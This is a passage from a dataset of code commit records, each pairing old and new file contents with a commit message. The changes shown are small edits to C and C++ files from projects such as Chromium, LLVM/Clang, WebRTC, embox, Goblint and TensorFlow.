nal\/chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,Chilledheart\/chromium,keishi\/chromium,dushu1203\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,dushu1203\/chromium.src,rogerwang\/chromium,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,rogerwang\/chromium,patrickm\/chromium.src,jaruba\/chromium.src,robclark\/chromium,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,dushu1203\/chromium.src,M4sse\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,keishi\/chromium,fujunwei\/chromium-crosswalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,robclark\/chromium,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,Chilledheart\/chromium,Just-D\/chromium-1,zcbenz\/cefode-chromium,anirudhSK\/chromium,Jonekee\/chromium.src,Jonekee\/chromium.src,robclark\/chromium,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,anirudhSK\/chromium,anirudhSK\/chromium,Chilledheart\/chromium,M4sse\/chromium.src,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,keishi\/chromium,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium"}
{"commit":"b07ec29109a2ca1603d3a4c199132f4c510ef763","old_file":"third_party\/lua-5.2.3\/src\/floating_temple.c","new_file":"third_party\/lua-5.2.3\/src\/floating_temple.c","old_contents":"\/*\n** Hook functions for integration with the Floating Temple distributed\n** interpreter\n*\/\n\n\n#include <stddef.h>\n\n\n#define floating_temple_c\n#define LUA_CORE\n\n#include \"lua.h\"\n\n#include \"floating_temple.h\"\n#include \"lobject.h\"\n#include \"luaconf.h\"\n\n\nstatic int ft_defaultnewstringhook (lua_State *L, StkId obj, const char *str,\n                                    size_t len) {\n  return 0;\n}\n\nstatic int ft_defaultnewtablehook (lua_State *L, StkId obj, int b, int c) {\n  return 0;\n}\n\n\n#define FT_DEFINE_HOOK_FUNC(install_func, hook_type, hook_var, \\\n                            default_hook_func) \\\n  LUAI_DDEF hook_type hook_var = &default_hook_func; \\\n\\\n  LUA_API hook_type install_func (hook_type hook) { \\\n    hook_type old_hook = hook_var; \\\n    hook_var = hook; \\\n    return old_hook; \\\n  }\n\n\nFT_DEFINE_HOOK_FUNC(ft_installnewstringhook, ft_NewStringHook, ft_newstringhook,\n                    ft_defaultnewstringhook)\n\nFT_DEFINE_HOOK_FUNC(ft_installnewtablehook, ft_NewTableHook, ft_newtablehook,\n                    ft_defaultnewtablehook)\n\n\n#undef FT_DEFINE_HOOK_FUNC\n","new_contents":"\/*\n** Hook functions for integration with the Floating Temple distributed\n** interpreter\n*\/\n\n\n#include <stddef.h>\n\n\n#define floating_temple_c\n#define LUA_CORE\n\n#include \"lua.h\"\n\n#include \"floating_temple.h\"\n#include \"lobject.h\"\n#include \"luaconf.h\"\n\n\n#define FT_DEFINE_HOOK_FUNC(install_func, hook_type, hook_var, hook_params, \\\n                            default_hook_func) \\\n  static int default_hook_func hook_params { \\\n    return 0; \\\n  } \\\n\\\n  LUAI_DDEF hook_type hook_var = &default_hook_func; \\\n\\\n  LUA_API hook_type install_func (hook_type hook) { \\\n    hook_type old_hook = hook_var; \\\n    hook_var = hook; \\\n    return old_hook; \\\n  }\n\n\nFT_DEFINE_HOOK_FUNC(ft_installnewstringhook, ft_NewStringHook, ft_newstringhook,\n                    (lua_State *L, StkId obj, const char *str, size_t len),\n                    ft_defaultnewstringhook)\n\nFT_DEFINE_HOOK_FUNC(ft_installnewtablehook, ft_NewTableHook, ft_newtablehook,\n                    (lua_State *L, StkId obj, int b, int c),\n                    ft_defaultnewtablehook)\n\n\n#undef FT_DEFINE_HOOK_FUNC\n","subject":"Add the definition of the default hook function to the FT_DEFINE_HOOK_FUNCTION macro.","message":"Add the definition of the default hook function to the FT_DEFINE_HOOK_FUNCTION macro.\n","lang":"C","license":"apache-2.0","repos":"snyderek\/floating_temple,snyderek\/floating_temple,snyderek\/floating_temple"}
{"commit":"72f86cdd70ccbe468222911d421f064981d34746","old_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","new_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  bool OnMessageReceived(const IPC::Message& message, bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  virtual bool OnMessageReceived(const IPC::Message& message,\n                                 bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","subject":"Fix clang build that have been broken by 81364.","message":"Fix clang build that have been broken by 81364.\n\nBUG=none\nTEST=green tree\nTBR=jam\n\nReview URL: http:\/\/codereview.chromium.org\/6838008\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@81368 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"e3c439a4decc4c07c3ea2e086ae5a0eea1c084c7","old_file":"src\/kernel\/task\/idesc_table.c","new_file":"src\/kernel\/task\/idesc_table.c","old_contents":"","new_contents":"\/**\n * @file\n *\n * @brief\n *\n * @date 09.11.2013\n * @author Anton Bondarev\n *\/\n\n\nunion idesc_table_entry {\n\tunsigned int flags;\n\tstruct idesc *idesc;\n};\n\nstruct idesc_table {\n\tunion idesc_table_entry idesc_entry[TASKS_RES_QUANTITY];\n\tstruct indexator indexator;\n};\n\nint idesc_table_add(struct idesc *idesc, int cloexec) {\n\tstruct task task;\n\tstruct idesc_table *idesc_table;\n\tint idx;\n\n\ttask = task_self();\n\tidesc_table = &task->idesc_table;\n\n\tidx = index_alloc(&idesc_table->indexator, INDEX_MIN);\n\n\tidesc_table->idesc_entry[idx] = idesc;\n\n\treturn idx;\n}\n\nint idesc_table_del(int idx) {\n\tstruct task task;\n\tstruct idesc_table *idesc_table;\n\n\ttask = task_self();\n\tidesc_table = &task->idesc_table;\n\n\tidesc_table->idesc_entry[idx] = NULL;\n\n\tindex_free(&idesc_table->indexator, idx);\n\n\treturn 0;\n}\n\nstruct idesc *idesc_table_get(int idx) {\n\tstruct task task;\n\tstruct idesc_table *idesc_table;\n\n\ttask = task_self();\n\tidesc_table = &task->idesc_table;\n\n\treturn idesc_table->idesc_entry[idx];\n}\n\nint idesc_table_init(struct idesc_table *idesc_table) {\n\treturn 0;\n}\n","subject":"Add some stubs for idec_table","message":"desc: Add some stubs for idec_table","lang":"C","license":"bsd-2-clause","repos":"gzoom13\/embox,vrxfile\/embox-trik,Kefir0192\/embox,embox\/embox,mike2390\/embox,mike2390\/embox,Kakadu\/embox,Kefir0192\/embox,abusalimov\/embox,gzoom13\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kefir0192\/embox,Kakadu\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,vrxfile\/embox-trik,mike2390\/embox,abusalimov\/embox,gzoom13\/embox,Kefir0192\/embox,embox\/embox,embox\/embox,mike2390\/embox,abusalimov\/embox,mike2390\/embox,embox\/embox,Kakadu\/embox,Kakadu\/embox,embox\/embox,Kakadu\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,gzoom13\/embox,Kefir0192\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,Kefir0192\/embox,Kefir0192\/embox,abusalimov\/embox,abusalimov\/embox,mike2390\/embox,embox\/embox,gzoom13\/embox,abusalimov\/embox"}
{"commit":"2d18d120f8c161bcc9d7b719e9acc293f96b3a6a","old_file":"src\/vm\/instruction-visitor.h","new_file":"src\/vm\/instruction-visitor.h","old_contents":"","new_contents":"#ifndef INSTRUCTION_VISITOR_H_\n#define INSTRUCTION_VISITOR_H_\n\n#include \"vm\/instruction.h\"\n#include \"vm\/instructions.h\"\n\nnamespace grok {\nnamespace vm {\n\nclass InstructionVisitor {\npublic:\n#define DECLARE_VIRTUAL_METHOD(Instr, Class)    \\\n    virtual void Visit(Class##Instruction *instr) = 0;\nINSTRUCTION_LIST_FOR_EACH(DECLARE_VIRTUAL_METHOD)\n#undef DECLARE_VIRTUAL_METHOD\n};\n\n}\n}\n\n#endif\n","subject":"Add InstructionVisitor class for visitor pattern","message":"Add InstructionVisitor class for visitor pattern\n","lang":"C","license":"apache-2.0","repos":"PrinceDhaliwal\/grok,PrinceDhaliwal\/grok,PrinceDhaliwal\/grok"}
{"commit":"0dd1f0b32359949a948c557a2c20f5f735e00c3a","old_file":"generic\/include\/clc\/float\/definitions.h","new_file":"generic\/include\/clc\/float\/definitions.h","old_contents":"#define FLT_DIG \t6\n#define FLT_MANT_DIG \t24\n#define FLT_MAX_10_EXP \t+38\n#define FLT_MAX_EXP \t+128\n#define FLT_MIN_10_EXP \t-37\n#define FLT_MIN_EXP \t-125\n#define FLT_RADIX \t2\n#define FLT_MAX \t0x1.fffffep127f\n#define FLT_MIN \t0x1.0p-126f\n#define FLT_EPSILON \t0x1.0p-23f\n\n#ifdef cl_khr_fp64\n\n#define DBL_DIG \t15\n#define DBL_MANT_DIG \t53\n#define DBL_MAX_10_EXP \t+308\n#define DBL_MAX_EXP \t+1024\n#define DBL_MIN_10_EXP \t-307\n#define DBL_MIN_EXP \t-1021\n#define DBL_MAX \t0x1.fffffffffffffp1023\n#define DBL_MIN \t0x1.0p-1022\n#define DBL_EPSILON \t0x1.0p-52\n\n#endif\n","new_contents":"#define FLT_DIG \t6\n#define FLT_MANT_DIG \t24\n#define FLT_MAX_10_EXP \t+38\n#define FLT_MAX_EXP \t+128\n#define FLT_MIN_10_EXP \t-37\n#define FLT_MIN_EXP \t-125\n#define FLT_RADIX \t2\n#define FLT_MAX \t0x1.fffffep127f\n#define FLT_MIN \t0x1.0p-126f\n#define FLT_EPSILON \t0x1.0p-23f\n\n#define M_PI_F 0x1.921fb6p+1\n\n#ifdef cl_khr_fp64\n\n#define DBL_DIG \t15\n#define DBL_MANT_DIG \t53\n#define DBL_MAX_10_EXP \t+308\n#define DBL_MAX_EXP \t+1024\n#define DBL_MIN_10_EXP \t-307\n#define DBL_MIN_EXP \t-1021\n#define DBL_MAX \t0x1.fffffffffffffp1023\n#define DBL_MIN \t0x1.0p-1022\n#define DBL_EPSILON \t0x1.0p-52\n\n#endif\n","subject":"Add definition for M_PI_F v3","message":"Add definition for M_PI_F v3\n\nv2:\n  - Use a hexadecimal constant.\n\nv3:\n  - Use a hexadecimal constant in floating-point notation.\n\ngit-svn-id: e7f1ab7c2a259259587475a3e7520e757882f167@204666 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc"}
{"commit":"f90fc43d4d7518e454793a5bb6b6a882e7e01d9a","old_file":"test\/Driver\/offloading-interoperability.c","new_file":"test\/Driver\/offloading-interoperability.c","old_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" {{.*}}\"-m\" \"elf64lppc\"\n","new_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp=libomp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" {{.*}}\"-m\" \"elf64lppc\"\n","subject":"Make test not fail on hosts where the default omp library is gomp.","message":"Make test not fail on hosts where the default omp library is gomp.\n\nThis is the case on some linuxes, just force libomp so we get the\ndesired results.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@277138 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"21a1e7a69685d0698eac0cfee6435035e02363d9","old_file":"base\/checks.h","new_file":"base\/checks.h","old_contents":"\/*\n *  Copyright 2006 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/\/ This module contains some basic debugging facilities.\n\/\/ Originally comes from shared\/commandlineflags\/checks.h\n\n#ifndef WEBRTC_BASE_CHECKS_H_\n#define WEBRTC_BASE_CHECKS_H_\n\nnamespace rtc {\n\n\/\/ Prints an error message to stderr and aborts execution.\nvoid Fatal(const char* file, int line, const char* format, ...);\n\n}  \/\/ namespace rtc\n\n\/\/ The UNREACHABLE macro is very useful during development.\n#define UNREACHABLE()                                   \\\n  rtc::Fatal(__FILE__, __LINE__, \"unreachable code\")\n\n#endif  \/\/ WEBRTC_BASE_CHECKS_H_\n","new_contents":"\/*\n *  Copyright 2006 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/\/ This module contains some basic debugging facilities.\n\/\/ Originally comes from shared\/commandlineflags\/checks.h\n\n#ifndef WEBRTC_BASE_CHECKS_H_\n#define WEBRTC_BASE_CHECKS_H_\n\nnamespace rtc {\n\n\/\/ Prints an error message to stderr and aborts execution.\nvoid Fatal(const char* file, int line, const char* format, ...);\n\n}  \/\/ namespace rtc\n\n\/\/ Trigger a fatal error (which aborts the process and prints an error\n\/\/ message). FATAL_ERROR_IF may seem a lot like assert, but there's a crucial\n\/\/ difference: it's always \"on\". This means that it can be used to check for\n\/\/ regular errors that could actually happen, not just programming errors that\n\/\/ supposedly can't happen---but triggering a fatal error will kill the process\n\/\/ in an ugly way, so it's not suitable for catching errors that might happen\n\/\/ in production.\n#define FATAL_ERROR(msg) do { rtc::Fatal(__FILE__, __LINE__, msg); } while (0)\n#define FATAL_ERROR_IF(x) do { if (x) FATAL_ERROR(\"check failed\"); } while (0)\n\n\/\/ The UNREACHABLE macro is very useful during development.\n#define UNREACHABLE() FATAL_ERROR(\"unreachable code\")\n\n#endif  \/\/ WEBRTC_BASE_CHECKS_H_\n","subject":"Define convenient FATAL_ERROR() and FATAL_ERROR_IF() macros","message":"Define convenient FATAL_ERROR() and FATAL_ERROR_IF() macros\n\nR=henrike@webrtc.org\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/16079004\n\ngit-svn-id: 03ae4fbe531b1eefc9d815f31e49022782c42458@6701 4adac7df-926f-26a2-2b94-8c16560cd09d\n","lang":"C","license":"bsd-3-clause","repos":"Omegaphora\/external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc"}
{"commit":"9bae8c664000ff38f07429fa1726ec61575f2c84","old_file":"tests\/regression\/13-privatized\/17-priv_interval.c","new_file":"tests\/regression\/13-privatized\/17-priv_interval.c","old_contents":"\/\/ PARAM: --set ana.int.interval true --set solver \"'new'\"\n#include<pthread.h>\n#include<assert.h>\n\nint glob1 = 5;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&mutex1);\n  t = glob1;\n  assert(t == 5);\n  glob1 = -10;\n  assert(glob1 == -10);\n  glob1 = t;\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(glob1 == 5);\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex1);\n  glob1++; \n  assert(glob1 == 6);\n  glob1--;\n  pthread_mutex_unlock(&mutex1);\n  pthread_join (id, NULL);\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --set ana.int.interval true --set solver \"'td3'\"\n#include<pthread.h>\n#include<assert.h>\n\nint glob1 = 5;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&mutex1);\n  t = glob1;\n  assert(t == 5);\n  glob1 = -10;\n  assert(glob1 == -10);\n  glob1 = t;\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(glob1 == 5);\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex1);\n  glob1++; \n  assert(glob1 == 6);\n  glob1--;\n  pthread_mutex_unlock(&mutex1);\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Switch solver for 13-privatized\/17-priv_internal.c to td3 to make test case pass","message":"Switch solver for 13-privatized\/17-priv_internal.c to td3 to make test case pass\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"50c714cde2c67b4c326cbec21d9383620ffbd32d","old_file":"tensorflow\/core\/platform\/default\/integral_types.h","new_file":"tensorflow\/core\/platform\/default\/integral_types.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n#define TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n\n\/\/ IWYU pragma: private, include \"third_party\/tensorflow\/core\/platform\/types.h\"\n\/\/ IWYU pragma: friend third_party\/tensorflow\/core\/platform\/types.h\n\nnamespace tensorflow {\n\ntypedef signed char int8;\ntypedef short int16;\ntypedef int int32;\ntypedef long long int64;\n\ntypedef unsigned char uint8;\ntypedef unsigned short uint16;\ntypedef unsigned int uint32;\ntypedef unsigned long long uint64;\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_DEFAULT_INTEGRAL_TYPES_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" 